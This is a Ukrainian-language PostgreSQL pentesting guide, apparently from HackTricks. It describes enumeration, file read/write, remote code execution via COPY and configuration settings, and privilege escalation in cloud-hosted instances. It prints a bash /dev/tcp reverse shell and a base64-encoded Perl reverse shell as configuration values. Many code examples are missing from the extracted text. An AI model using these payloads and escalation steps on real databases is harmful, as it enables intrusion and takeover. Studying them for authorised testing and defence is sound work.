5432,5433 - Pentesting Postgresql
Використовуйте Trickest для легкої побудови та автоматизації робочих процесів, які працюють на основі найбільш продвинутих інструментів у спільноті. Отримайте доступ сьогодні:
Основна інформація
PostgreSQL описується як об'єктно-реляційна система керування базами даних, яка є відкритим джерелом. Ця система не лише використовує мову SQL, але й розширює її додатковими функціями. Її можливості дозволяють обробляти широкий спектр типів даних та операцій, що робить її універсальним вибором для розробників та організацій.
Порт за замовчуванням: 5432, і якщо цей порт вже використовується, здається, що postgresql буде використовувати наступний порт (імовірно, 5433), який не використовується.
Підключення та Основний перелік
Якщо під час виконання \list
ви знаходите базу даних під назвою rdsadmin
, ви знаєте, що ви знаходитесь всередині бази даних AWS postgresql.
Для отримання додаткової інформації про як зловживати базою даних PostgreSQL, перевірте:
pagePostgreSQL injectionАвтоматичне перелічення
Сканування портів
Згідно з цим дослідженням, коли спроба підключення не вдається, dblink
викидає виняток sqlclient_unable_to_establish_sqlconnection
, включаючи пояснення помилки. Нижче наведені приклади цих деталей.
Хост недоступний
ДЕТАЛІ: не вдалося підключитися до сервера: Немає маршруту до хоста. Чи працює сервер на хості "1.2.3.4" і приймає TCP/IP з'єднання на порту 5678?
Порт закритий
Порт відкритий
List databases
List tables
Show table structure
Execute SQL query
Execute system commands
Write files
Read files
Enable additional modules
DETAIL: FATAL: password authentication failed for user "name"
DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
Таблиці
Функції
Дії з файловою системою
Читання каталогів та файлів
З цього коміту члени визначеної групи DEFAULT_ROLE_READ_SERVER_FILES
(званої pg_read_server_files
) та суперкористувачі можуть використовувати метод COPY
для будь-якого шляху (перевірте convert_and_check_filename
в genfile.c
):
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте дозвіл CREATEROLE, ви можете додати себе до цієї групи:
Є інші функції postgres, які можна використовувати для читання файлу або переліку каталогу. Їх можуть використовувати лише суперкористувачі та користувачі з явними дозволами:
Ви можете знайти більше функцій за посиланням https://www.postgresql.org/docs/current/functions-admin.html
Просте Записування Файлів
Тільки суперкористувачі та члени pg_write_server_files
можуть використовувати copy для запису файлів.
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте дозвіл CREATEROLE
, ви можете додати себе до цієї групи:
Пам'ятайте, що COPY не може обробляти символи нового рядка, тому навіть якщо ви використовуєте базове64 навантаження, вам потрібно відправити однорядковий вираз.
Дуже важливим обмеженням цієї техніки є те, що copy
не може використовуватися для запису бінарних файлів, оскільки він змінює деякі бінарні значення.
Завантаження бінарних файлів
Однак існують інші техніки для завантаження великих бінарних файлів:
pageBig Binary Files Upload (PostgreSQL)Підказка з премією за помилки: зареєструйтесь на Intigriti, преміальній платформі для пошуку помилок, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні, і почніть заробляти премії до $100,000!
Оновлення даних таблиці PostgreSQL через запис локального файлу
Якщо у вас є необхідні дозволи для читання та запису файлів сервера PostgreSQL, ви можете оновити будь-яку таблицю на сервері, перезаписавши пов'язаний файловий вузол в каталозі даних PostgreSQL. Докладніше про цю техніку тут.
Необхідні кроки:
Отримайте каталог даних PostgreSQL
Примітка: Якщо ви не можете отримати поточний шлях каталогу даних з параметрів, ви можете запитати основну версію PostgreSQL через запит SELECT version()
та спробувати перебрати шлях. Загальні шляхи каталогу даних на установках Unix PostgreSQL - /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Загальним ім'ям кластера є main
. 2. Отримайте відносний шлях до файлового вузла, пов'язаного з цільовою таблицею
Цей запит повинен повернути щось на кшталт base/3/1337
. Повний шлях на диску буде $DATA_DIRECTORY/base/3/1337
, тобто /var/lib/postgresql/13/main/base/3/1337
. 3. Завантажте файловий вузол через функції lo_*
Отримайте тип даних, пов'язаний з цільовою таблицею
Використовуйте редактор файлового вузла PostgreSQL, щоб редагувати файловий вузол; встановіть всі булеві прапори
rol*
на 1 для повних дозволів.
(Необов'язково) Очистіть кеш таблиці в пам'яті, запустивши дорогий запит SQL
Тепер ви повинні побачити оновлені значення таблиці в PostgreSQL.
Ви також можете стати суперадміном, редагуючи таблицю pg_authid
. Див. наступний розділ.
RCE
RCE на програму
З версії 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), тільки суперкористувачі та члени групи pg_execute_server_program
можуть використовувати copy для RCE (приклад з витіканням:
Приклад для виконання:
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте дозвіл CREATEROLE
, ви можете додати себе до цієї групи:
Або використовуйте модуль multi/postgres/postgres_copy_from_program_cmd_exec
з metasploit.
Додаткова інформація про цю уразливість тут. Хоча вона була описана як CVE-2019-9193, Postges заявив, що це була функція і не буде виправлена.
RCE з мовами PostgreSQL
pageRCE with PostgreSQL LanguagesRCE з розширеннями PostgreSQL
Після того, як ви дізналися з попереднього поста як завантажувати бінарні файли, ви можете спробувати отримати RCE завантажуючи розширення PostgreSQL та завантажуючи його.
pageRCE with PostgreSQL ExtensionsRCE з файлом конфігурації PostgreSQL
Наступні вектори RCE особливо корисні в обмежених контекстах SQLi, оскільки всі кроки можна виконати через вкладені SELECT-оператори
Файл конфігурації PostgreSQL є записуваним користувачем postgres, який запускає базу даних, тому як суперкористувач, ви можете записувати файли в файлову систему, і, отже, ви можете перезаписати цей файл.
RCE з ssl_passphrase_command
Додаткова інформація про цю техніку тут.
У файлі конфігурації є деякі цікаві атрибути, які можуть призвести до RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Шлях до приватного ключа бази данихssl_passphrase_command = ''
Якщо приватний файл захищений паролем (зашифрований), PostgreSQL виконає команду, вказану в цьому атрибуті.ssl_passphrase_command_supports_reload = off
Якщо цей атрибут увімкнено, команда, виконана, якщо ключ захищений паролем, буде виконана при виконанніpg_reload_conf()
.
Тоді зловмисник повинен:
Витягнути приватний ключ з сервера
Зашифрувати завантажений приватний ключ:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Перезаписати
Витягнути поточну конфігурацію PostgreSQL
Перезаписати конфігурацію з вказаними атрибутами конфігурації:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Виконати
pg_reload_conf()
Під час тестування я помітив, що це працюватиме лише, якщо файл приватного ключа має привілеї 640, він належить кореневі та групі ssl-cert або postgres (так що користувач postgres може його читати), і розміщений в /var/lib/postgresql/12/main.
RCE з archive_command
Додаткова інформація про цю конфігурацію та про WAL тут.
Інший атрибут у файлі конфігурації, який можна використовувати, - це archive_command
.
Для того, щоб це працювало, параметр archive_mode
повинен бути 'on'
або 'always'
. Якщо це правда, тоді ми можемо перезаписати команду в archive_command
і змусити її виконатися через операції запису журналу передоплати (WAL).
Загальні кроки:
Перевірте, чи увімкнений режим архіву:
SELECT current_setting('archive_mode')
Перезапишіть
archive_command
з навантаженням. Наприклад, зворотний shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Перезавантажте конфігурацію:
SELECT pg_reload_conf()
Змусіть виконати операцію запису журналу передоплати, яка викличе команду архіву:
SELECT pg_switch_wal()
абоSELECT pg_switch_xlog()
для деяких версій Postgres
RCE з попередніми завантажуваними бібліотеками
Додаткова інформація про цю техніку тут.
Цей вектор атаки використовує наступні змінні конфігурації:
session_preload_libraries
-- бібліотеки, які будуть завантажені сервером PostgreSQL при підключенні клієнта.dynamic_library_path
-- список каталогів, де сервер PostgreSQL буде шукати бібліотеки.
Ми можемо встановити значення dynamic_library_path
на каталог, в якому можна записувати користувачем postgres
, який запускає базу даних, наприклад, каталог /tmp/
, і завантажити туди шкідливий об'єкт .so
. Далі ми змусимо сервер PostgreSQL завантажити нашу нову завантажену бібліотеку, включивши її в змінну session_preload_libraries
.
Кроки атаки:
Завантажте оригінальний
postgresql.conf
Включіть каталог
/tmp/
у значенняdynamic_library_path
, наприкладdynamic_library_path = '/tmp:$libdir'
Включіть назву шкідливої бібліотеки у значення
session_preload_libraries
, наприкладsession_preload_libraries = 'payload.so'
Перевірте основну версію PostgreSQL через запит
SELECT version()
Скомпілюйте код шкідливої бібліотеки з правильним пакетом розробки PostgreSQL. Приклад коду:
Компіляція коду:
Завантажте шкідливий
postgresql.conf
, створений на кроках 2-3, і перезапишіть оригіналЗавантажте
payload.so
з кроку 5 в каталог/tmp
Перезавантажте конфігурацію сервера, перезапустивши сервер або викликавши запит
SELECT pg_reload_conf()
Під час наступного підключення до БД ви отримаєте зворотне підключення до оболонки.
Підвищення привілеїв в Postgres
Підвищення привілеїв CREATEROLE
Надання
Згідно з документацією: Ролі, які мають привілеї CREATEROLE
, можуть надавати або забирати членство в будь-якій ролі, яка не є суперкористувачем.
Отже, якщо у вас є дозвіл CREATEROLE
, ви можете надати собі доступ до інших ролей (які не є суперкористувачами), що може дати вам можливість читати та записувати файли та виконувати команди:
Змінити пароль
Користувачі з цією роллю також можуть змінювати паролі інших несуперкористувачів:
Підняття привілеїв до SUPERUSER
Досить часто можна виявити, що локальні користувачі можуть увійти в PostgreSQL, не вказуючи жодного пароля. Тому, якщо ви маєте дозвіл на виконання коду, ви можете скористатися цими дозволами, щоб отримати роль SUPERUSER
.
Це зазвичай можливо через наступні рядки у файлі pg_hba.conf
:
ALTER TABLE привілеї
У цьому описі пояснено, як було можливо піднятися в привілеях в Postgres GCP, зловживаючи привілеєм ALTER TABLE, який був наданий користувачеві.
Коли ви намагаєтеся зробити іншого користувача власником таблиці, ви повинні отримати помилку, яка цьому запобігає, але, здається, GCP надав цю опцію не-суперкористувачу postgres в GCP:
Поєднуючи цю ідею з тим, що коли виконуються команди INSERT/UPDATE/ANALYZE на таблиці з функцією індексу, функція викликається як частина команди з правами власника таблиці. Можливо створити індекс з функцією, надати права власності суперкористувачу над цією таблицею, а потім виконати ANALYZE над таблицею зі зловмисною функцією, яка зможе виконувати команди, оскільки вона використовує привілеї власника.
Експлуатація
Почніть з створення нової таблиці.
Вставте деякий неспівмірний вміст у таблицю, щоб забезпечити дані для функції індексу.
Розробіть зловмисну функцію індексу, яка містить виконавчий код, що дозволяє виконувати несанкціоновані команди.
Змініть власника таблиці на "cloudsqladmin", який є роллю суперкористувача GCP, використовуваною виключно Cloud SQL для управління та підтримки бази даних.
Виконайте операцію ANALYZE на таблиці. Ця дія змушує двигун PostgreSQL перейти до контексту користувача власника таблиці "cloudsqladmin". В результаті зловмисна функція індексу викликається з дозволами "cloudsqladmin", що дозволяє виконати раніше несанкціоновану оболонкову команду.
У PostgreSQL цей процес виглядає приблизно так:
Тоді таблиця shell_commands_results
буде містити вивід виконаного коду:
Локальний вхід
Деякі неправильно налаштовані екземпляри postgresql можуть дозволяти вхід будь-якому локальному користувачеві, можливо локальний вхід з 127.0.0.1 за допомогою функції dblink
:
Зверніть увагу, що для попереднього запиту працювати потрібно існування функції dblink
. Якщо її немає, ви можете спробувати створити її за допомогою
Якщо у вас є пароль користувача з більшими привілеями, але користувачу заборонено вхід з зовнішньої IP-адреси, ви можете використати наступну функцію для виконання запитів як цей користувач:
Можливо перевірити, чи існує ця функція за допомогою:
Власна функція з SECURITY DEFINER
У цьому описі, пентестери змогли піднятися в привілеї всередині екземпляра postgres, наданого IBM, оскільки вони знайшли цю функцію з прапорцем SECURITY DEFINER:
Як пояснено в документації, функція з SECURITY DEFINER виконується з привілеями користувача, який її володіє. Тому, якщо функція вразлива до SQL-ін'єкцій або виконує привілейовані дії з параметрами, які контролюються зловмисником, її можна використовувати для підняття привілеїв всередині postgres.
На рядку 4 попереднього коду можна побачити, що функція має прапорець SECURITY DEFINER.
І потім виконайте команди:
Пройдіть Burteforce з PL/pgSQL
PL/pgSQL - це повнофункціональна мова програмування, яка пропонує більший процедурний контроль порівняно з SQL. Вона дозволяє використовувати цикли та інші структури управління, щоб покращити логіку програми. Крім того, SQL-оператори та тригери можуть викликати функції, які створені за допомогою мови PL/pgSQL. Ця інтеграція дозволяє більш комплексний та гнучкий підхід до програмування та автоматизації баз даних. Ви можете зловживати цією мовою, щоб запросити PostgreSQL на перебір логінів користувачів.
pagePL/pgSQL Password BruteforceПідвищення привілеїв шляхом перезаписування внутрішніх таблиць PostgreSQL
Наступний вектор підвищення привілеїв особливо корисний в обмежених контекстах SQLi, оскільки всі кроки можна виконати через вкладені оператори SELECT
Якщо ви можете читати та записувати файли сервера PostgreSQL, ви можете стати суперкористувачем, перезаписавши філенод PostgreSQL на диску, пов'язаний з внутрішньою таблицею pg_authid
.
Дізнайтеся більше про цей метод тут.
Кроки атаки:
Отримайте каталог даних PostgreSQL
Отримайте відносний шлях до філеноду, пов'язаного з таблицею
pg_authid
Завантажте філенод через функції
lo_*
Отримайте тип даних, пов'язаний з таблицею
pg_authid
Використовуйте Редактор філеноду PostgreSQL, щоб редагувати філенод; встановіть всі булеві прапори
rol*
на 1 для повних дозволів.Перезавантажте відредагований філенод через функції
lo_*
, та перезапишіть оригінальний файл на диску(Необов'язково) Очистіть кеш таблиці в пам'яті, запустивши дорогий SQL-запит
Тепер ви повинні мати привілеї повного суперадміністратора.
POST
логування
У файлі postgresql.conf ви можете увімкнути логи postgresql, змінивши:
Потім перезапустіть сервіс.
pgadmin
pgadmin - це платформа адміністрування та розробки для PostgreSQL. Ви можете знайти паролі всередині файлу pgadmin4.db Ви можете розшифрувати їх, використовуючи функцію decrypt у скрипті: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
Клієнтська аутентифікація в PostgreSQL керується через файл конфігурації під назвою pg_hba.conf. Цей файл містить серію записів, кожен з яких вказує тип підключення, діапазон IP-адрес клієнта (якщо це застосовно), назву бази даних, ім'я користувача та метод аутентифікації для відповідності підключень. Перший запис, який відповідає типу підключення, IP-адресі клієнта, запитаній базі даних та імені користувача, використовується для аутентифікації. Якщо аутентифікація не вдається, резервного варіанту або резервного копіювання немає. Якщо жоден запис не відповідає, доступ заборонено.
Доступні методи аутентифікації на основі пароля в pg_hba.conf: md5, crypt та password. Ці методи відрізняються способом передачі пароля: зашифрований MD5, зашифрований crypt або чистий текст. Важливо зауважити, що метод crypt не може бути використаний з паролями, які були зашифровані в pg_authid.
Використовуйте Trickest для легкої побудови та автоматизації робочих процесів за допомогою найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:
Last updated